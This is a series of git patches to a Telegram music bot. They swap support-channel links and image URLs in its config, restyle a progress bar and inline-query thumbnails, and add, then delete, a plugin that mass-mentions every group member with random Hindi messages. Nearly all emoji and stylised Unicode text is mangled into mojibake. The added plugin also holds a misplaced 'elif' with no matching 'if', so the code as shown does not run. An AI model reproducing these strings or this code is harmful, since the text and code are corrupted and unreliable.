From f5a2377dbf239369886ad076284badcad347bf25 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 19:30:47 +0530
Subject: [PATCH 01/31] Update README.md
---
README.md | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index d7b88a9..f17e8a0 100644
--- a/README.md
+++ b/README.md
@@ -1,11 +1,11 @@
- ââã ðê¯ðê¯ê¯ âªâ§âð
Žðð¿âá§ðŠâð
ŒððâŸð²á¥£áðê¯ê¯ê¯ââ¥ïžâÍ¢ââ¢àŒðª ãââ
+ ââã ððšððšðððš ðððððð¶ðµ ãââ
-
+
From d0c912048e454ed943aebbfe367880b09dadd79b Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 19:37:19 +0530
Subject: [PATCH 02/31] Update config.py
---
config.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/config.py b/config.py
index cd8ebb5..5a40d40 100644
--- a/config.py
+++ b/config.py
@@ -42,8 +42,8 @@
"GIT_TOKEN", None
) # Fill this variable if your upstream repository is private
-SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/EsproUpdate")
-SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/EsproSupport")
+SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/+OwXlutqNgoUyYzJl")
+SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/l_DW_l")
# Set this to True if you want the assistant to automatically leave chats after an interval
AUTO_LEAVING_ASSISTANT = bool(getenv("AUTO_LEAVING_ASSISTANT", False))
@@ -87,10 +87,10 @@
autoclean = []
START_IMG_URL = getenv(
- "START_IMG_URL", "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
+ "START_IMG_URL", "https://graph.org/file/ebb0d85faab06c034ed4c.jpg"
)
PING_IMG_URL = getenv(
- "PING_IMG_URL", "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
+ "PING_IMG_URL", "https://graph.org/file/e642e121a9d93e1ac13ca.jpg"
)
PLAYLIST_IMG_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
STATS_IMG_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
From db46f9f8d6bfb401b6f04d3926f5a70bf5282b25 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 19:44:18 +0530
Subject: [PATCH 03/31] Update play.py
---
EsproMusic/utils/inline/play.py | 20 ++++++++++----------
1 file changed, 10 insertions(+), 10 deletions(-)
diff --git a/EsproMusic/utils/inline/play.py b/EsproMusic/utils/inline/play.py
index 868e426..7a6e758 100644
--- a/EsproMusic/utils/inline/play.py
+++ b/EsproMusic/utils/inline/play.py
@@ -42,25 +42,25 @@ def stream_markup_timer(_, chat_id, played, dur):
percentage = (played_sec / duration_sec) * 100
umm = math.floor(percentage)
if 0 < umm <= 10:
- bar = "ââââââââââ"
+ bar = "â°ðâ±â±â±â±â±â±â±â±â±"
elif 10 < umm < 20:
- bar = "ââââââââââ"
+ bar = "â°â°ðâ±â±â±â±â±â±â±â±"
elif 20 <= umm < 30:
- bar = "ââââââââââ"
+ bar = " â°â°â°ðâ±â±â±â±â±â±â±"
elif 30 <= umm < 40:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°ðâ±â±â±â±â±â±"
elif 40 <= umm < 50:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°â°ðâ±â±â±â±â±"
elif 50 <= umm < 60:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°â°â°ðâ±â±â±â±"
elif 60 <= umm < 70:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°â°â°â°ðâ±â±â±"
elif 70 <= umm < 80:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°â°â°â°â°ðâ±â±"
elif 80 <= umm < 95:
- bar = "ââââââââââ"
+ bar = "â°â°â°â°â°â°â°â°â°ðâ±"
else:
- bar = "ââââââââââ"
+ bar = " â°â°â°â°â°â°â°â°â°â°ð"
buttons = [
[
InlineKeyboardButton(text="â·", callback_data=f"ADMIN Resume|{chat_id}"),
From b93d65eac15de87bf9fd1ea420052d77f71f45fe Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 21:02:06 +0530
Subject: [PATCH 04/31] Update config.py
---
config.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/config.py b/config.py
index 5a40d40..597cabb 100644
--- a/config.py
+++ b/config.py
@@ -42,8 +42,8 @@
"GIT_TOKEN", None
) # Fill this variable if your upstream repository is private
-SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/+OwXlutqNgoUyYzJl")
-SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/l_DW_l")
+SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/l_DW_l")
+SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/+OwXlutqNgoUyYzJl")
# Set this to True if you want the assistant to automatically leave chats after an interval
AUTO_LEAVING_ASSISTANT = bool(getenv("AUTO_LEAVING_ASSISTANT", False))
From 035d02ccc3abeb11424f2013d00073d3d40ff48f Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 21:08:14 +0530
Subject: [PATCH 05/31] Update inlinequery.py
---
EsproMusic/utils/inlinequery.py | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/EsproMusic/utils/inlinequery.py b/EsproMusic/utils/inlinequery.py
index f755f82..c409f9b 100644
--- a/EsproMusic/utils/inlinequery.py
+++ b/EsproMusic/utils/inlinequery.py
@@ -7,37 +7,37 @@
InlineQueryResultArticle(
title="PáŽáŽsáŽ",
description=f"ᎩáŽáŽsᎠáŽÊᎠáŽáŽÊÊáŽÉŽáŽ áŽ©ÊáŽÊɪɎɢ sáŽÊáŽáŽáŽ áŽÉŽ áŽ ÉªáŽ
áŽáŽáŽÊáŽáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/pause"),
),
InlineQueryResultArticle(
title="RáŽsáŽáŽáŽ",
description=f"ÊáŽsáŽáŽáŽ áŽÊᎠᎩáŽáŽsáŽáŽ
sáŽÊáŽáŽáŽ áŽÉŽ áŽ ÉªáŽ
áŽáŽáŽÊáŽáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/resume"),
),
InlineQueryResultArticle(
title="SáŽÉªáŽ©",
description=f"sáŽÉªáŽ© áŽÊᎠáŽáŽÊÊáŽÉŽáŽ áŽ©ÊáŽÊɪɎɢ sáŽÊáŽáŽáŽ áŽÉŽ áŽ ÉªáŽ
áŽáŽáŽÊáŽáŽ áŽÉŽáŽ
áŽáŽáŽ áŽs áŽáŽ áŽÊᎠɎáŽxᎠsáŽÊáŽáŽáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/skip"),
),
InlineQueryResultArticle(
title="EÉŽáŽ
",
description="áŽÉŽáŽ
áŽÊᎠáŽáŽÊÊáŽÉŽáŽ áŽ©ÊáŽÊɪɎɢ sáŽÊáŽáŽáŽ áŽÉŽ áŽ ÉªáŽ
áŽáŽáŽÊáŽáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/end"),
),
InlineQueryResultArticle(
title="SÊáŽÒÒÊáŽ",
description="sÊáŽÒÒÊᎠáŽÊᎠǫáŽáŽáŽáŽáŽ
sáŽÉŽÉ¢s ɪɎ ᎩÊáŽÊÊɪsáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/shuffle"),
),
InlineQueryResultArticle(
title="LáŽáŽáŽ©",
description="ÊáŽáŽáŽ© áŽÊᎠáŽáŽÊÊáŽÉŽáŽ áŽ©ÊáŽÊɪɎɢ áŽÊáŽáŽáŽ áŽÉŽ áŽ ÉªáŽ
áŽáŽáŽÊáŽáŽ.",
- thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg",
+ thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg",
input_message_content=InputTextMessageContent("/loop 3"),
),
]
From 944f7bb337b22917845d3e12cc80399e4d75edb9 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 21:12:25 +0530
Subject: [PATCH 06/31] Update play.py
---
EsproMusic/utils/inline/play.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/EsproMusic/utils/inline/play.py b/EsproMusic/utils/inline/play.py
index 7a6e758..b086872 100644
--- a/EsproMusic/utils/inline/play.py
+++ b/EsproMusic/utils/inline/play.py
@@ -46,7 +46,7 @@ def stream_markup_timer(_, chat_id, played, dur):
elif 10 < umm < 20:
bar = "â°â°ðâ±â±â±â±â±â±â±â±"
elif 20 <= umm < 30:
- bar = " â°â°â°ðâ±â±â±â±â±â±â±"
+ bar = "â°â°â°ðâ±â±â±â±â±â±â±"
elif 30 <= umm < 40:
bar = "â°â°â°â°ðâ±â±â±â±â±â±"
elif 40 <= umm < 50:
@@ -60,7 +60,7 @@ def stream_markup_timer(_, chat_id, played, dur):
elif 80 <= umm < 95:
bar = "â°â°â°â°â°â°â°â°â°ðâ±"
else:
- bar = " â°â°â°â°â°â°â°â°â°â°ð"
+ bar = "â°â°â°â°â°â°â°â°â°â°ð"
buttons = [
[
InlineKeyboardButton(text="â·", callback_data=f"ADMIN Resume|{chat_id}"),
From 61c2c12fd8f32701dba2874235e8095f78f79c87 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 1 Feb 2024 21:30:39 +0530
Subject: [PATCH 07/31] Update play.py
From cf11249e71692af9966eedf98ccd22c4124c76e6 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 7 Feb 2024 21:05:01 +0530
Subject: [PATCH 08/31] Create tagall.py
---
AnonX/plugins/tagall.py | 216 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 216 insertions(+)
create mode 100644 AnonX/plugins/tagall.py
diff --git a/AnonX/plugins/tagall.py b/AnonX/plugins/tagall.py
new file mode 100644
index 0000000..1d9120c
--- /dev/null
+++ b/AnonX/plugins/tagall.py
@@ -0,0 +1,216 @@
+from AnonX import app
+import asyncio
+import random
+from pyrogram import Client, filters
+from pyrogram.errors import UserNotParticipant
+from pyrogram.types import ChatPermissions
+
+spam_chats = []
+
+EMOJI = [ "ðŠðŠðŠðŠðŠ",
+ "ð§ðžð§ð¬ð«",
+ "ð¥ð·ð¹ðºð",
+ "ðžð¿ð®ð±ðµ",
+ "â€ïžðððð€",
+ "ððððð",
+ "ðžððºð¹ðŠ",
+ "ððŠªðð²ð¥",
+ "ððððð¶ïž",
+ "ð§ð¥€ð§ð¥ð·",
+ "ð¬ðð§ðð¡",
+ "ðšð§ðºâð»",
+ "ð¥ªð¥§ðŠð¥ð",
+ "ð«âð¹ð·ð¥",
+ "âð§ð©ðŠð",
+ "ððŸð®ðð¿",
+ "ðšïžð¥ïžâïžð©ïžð§ïž",
+ "ð·ðµïžðžðºð",
+ "ð®ðŒð»ðð",
+ "ð§ðŠžðйð§ðž",
+ "ð§
ð ð¥ðœð¥Š",
+ "ð·ð¹ððšð»ââïž",
+ "ðŠððððââ¬",
+ "ðŒð³ð²ðŽðµ",
+ "ð¥©ðððð",
+ "ðŽðœïžðªð¶ð¥",
+ "ðð°ð©â©ïžð©",
+ "ððððð",
+ "ðªŽðµðŽð³ð²",
+ "ððððð",
+ "ðŠ
ðŠðïžðŠ€ðŠ¢",
+ "ðŠ€ðŠ©ðŠðŠðŠ",
+ "ð¬ðŠðŠðð³",
+ "ððð ð¡ðŠ",
+ "ðŠ©ðŠðŠððŠª",
+ "ðŠðŠð·ïžðžïžð",
+ "ð¥ªð°ð¥§ðšðš",
+ " ð¥¬ðð§ð§",
+ ]
+
+TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
+ " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
+ " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
+ " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
+ " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
+ " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
+ " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
+ " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
+ " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
+ " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
+ " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
+ " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
+ " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
+ " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
+ " ððð© ððð¡ð ðð ððš..??ð ",
+ " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
+ " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
+ " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
+ " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
+ " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
+ " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
+ " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
+ " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
+ " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
+ " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
+ " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
+ " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
+ " ðð¢ðð ððš ðððð ðð¡âº ",
+ " ððð¥ð¥ðšð ",
+ " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
+ " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
+ " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
+ " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
+ " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
+ " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
+ " ð ððšð¯ð ððšð®ððð ",
+ " ððš ððšð® ððšð¯ð ðð..?ð ",
+ " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
+ " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
+ " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
+ " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
+
+" ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
+ " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
+ " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
+ " ððð¡ð ðð ððš ððð©ð ",
+ " ðð®ð§ðš ððð§ ",
+ " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
+ " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
+ " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
+ " ðð²ð ðð®ð..?ð± ",
+ " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
+ " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
+ " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
+ " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
+ " ðð²ð ðð®ðð®ð® "
+ " ðð¢ð¢ð ",
+ " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
+ " ððð£ ððð¢ ððð ðð® â¹ïž ",
+ " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
+ " ðð²ð ððð« ððð¡ð ððšð ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
+ " ððð¡ð ðð ððš ððð©..?ð€ ",
+ " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
+ " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
+ " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
+ " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
+ " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
+ " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
+ " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
+ " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
+ " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
+ " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
+ " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
+ " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
+ " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
+ " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
+ " ðððŠð¥ðšðšð§ ",
+ " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
+ " ððð¡ð ðð ðððš:- [ @ll_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
+ " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
+ " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
+ " ððšð¢ð§ ððð« ððš:- [ @ll_HEERIYE_ll ] ð€ ",
+ " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
+ " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
+ " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
+ " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
+ " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
+ ]
+
+@app.on_message(filters.command(["tagall", "all", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag" ], prefixes=["/", "@", "#"]))
+async def mentionall(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == "private":
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in ("administrator", "creator"):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
+
+ if message.reply_to_message and message.text:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+
+elif message.text:
+ mode = "text_on_cmd"
+ msg = message.text
+ elif message.reply_to_message:
+ mode = "text_on_reply"
+ msg = message.reply_to_message
+ if not msg:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+ else:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+
+ spam_chats.append(chat_id)
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.iter_chat_members(chat_id):
+ if not chat_id in spam_chats:
+ break
+ if usr.user.is_bot:
+ continue
+ usrnum += 1
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+
+ if usrnum == 1:
+ if mode == "text_on_cmd":
+ txt = f"{usrtxt} {random.choice(TAGMES)}"
+ await client.send_message(chat_id, txt)
+ elif mode == "text_on_reply":
+ await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
+ await asyncio.sleep(4)
+ usrnum = 0
+ usrtxt = ""
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+@app.on_message(filters.command(["cancel", "stop"]))
+async def cancel_spam(client, message):
+ if not message.chat.id in spam_chats:
+ return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(message.chat.id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in ("administrator", "creator"):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
+ else:
+ try:
+ spam_chats.remove(message.chat.id)
+ except:
+ pass
+ return await message.reply("⊠Mention process stopped âŠ")
From 159a18f3ed030c7f62a6ddf8e2200836fbc7a0f8 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:01:54 +0530
Subject: [PATCH 09/31] Update tagall.py
---
AnonX/plugins/tagall.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/AnonX/plugins/tagall.py b/AnonX/plugins/tagall.py
index 1d9120c..6c68bc0 100644
--- a/AnonX/plugins/tagall.py
+++ b/AnonX/plugins/tagall.py
@@ -1,4 +1,4 @@
-from AnonX import app
+from EsproMusic import app
import asyncio
import random
from pyrogram import Client, filters
@@ -127,10 +127,10 @@
" ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
" ðððŠð¥ðšðšð§ ",
" ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
- " ððð¡ð ðð ðððš:- [ @ll_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
+ " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
" ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
" ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
- " ððšð¢ð§ ððð« ððš:- [ @ll_HEERIYE_ll ] ð€ ",
+ " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
" ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
" ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
" ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
From e632ca6c367cfdf248f56d0162a54e2194293d99 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:02:30 +0530
Subject: [PATCH 10/31] Delete AnonX/plugins/tagall.py
---
AnonX/plugins/tagall.py | 216 ----------------------------------------
1 file changed, 216 deletions(-)
delete mode 100644 AnonX/plugins/tagall.py
diff --git a/AnonX/plugins/tagall.py b/AnonX/plugins/tagall.py
deleted file mode 100644
index 6c68bc0..0000000
--- a/AnonX/plugins/tagall.py
+++ /dev/null
@@ -1,216 +0,0 @@
-from EsproMusic import app
-import asyncio
-import random
-from pyrogram import Client, filters
-from pyrogram.errors import UserNotParticipant
-from pyrogram.types import ChatPermissions
-
-spam_chats = []
-
-EMOJI = [ "ðŠðŠðŠðŠðŠ",
- "ð§ðžð§ð¬ð«",
- "ð¥ð·ð¹ðºð",
- "ðžð¿ð®ð±ðµ",
- "â€ïžðððð€",
- "ððððð",
- "ðžððºð¹ðŠ",
- "ððŠªðð²ð¥",
- "ððððð¶ïž",
- "ð§ð¥€ð§ð¥ð·",
- "ð¬ðð§ðð¡",
- "ðšð§ðºâð»",
- "ð¥ªð¥§ðŠð¥ð",
- "ð«âð¹ð·ð¥",
- "âð§ð©ðŠð",
- "ððŸð®ðð¿",
- "ðšïžð¥ïžâïžð©ïžð§ïž",
- "ð·ðµïžðžðºð",
- "ð®ðŒð»ðð",
- "ð§ðŠžðйð§ðž",
- "ð§
ð ð¥ðœð¥Š",
- "ð·ð¹ððšð»ââïž",
- "ðŠððððââ¬",
- "ðŒð³ð²ðŽðµ",
- "ð¥©ðððð",
- "ðŽðœïžðªð¶ð¥",
- "ðð°ð©â©ïžð©",
- "ððððð",
- "ðªŽðµðŽð³ð²",
- "ððððð",
- "ðŠ
ðŠðïžðŠ€ðŠ¢",
- "ðŠ€ðŠ©ðŠðŠðŠ",
- "ð¬ðŠðŠðð³",
- "ððð ð¡ðŠ",
- "ðŠ©ðŠðŠððŠª",
- "ðŠðŠð·ïžðžïžð",
- "ð¥ªð°ð¥§ðšðš",
- " ð¥¬ðð§ð§",
- ]
-
-TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
- " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
- " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
- " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
- " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
- " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
- " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
- " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
- " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
- " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
- " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
- " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
- " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
- " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
- " ððð© ððð¡ð ðð ððš..??ð ",
- " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
- " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
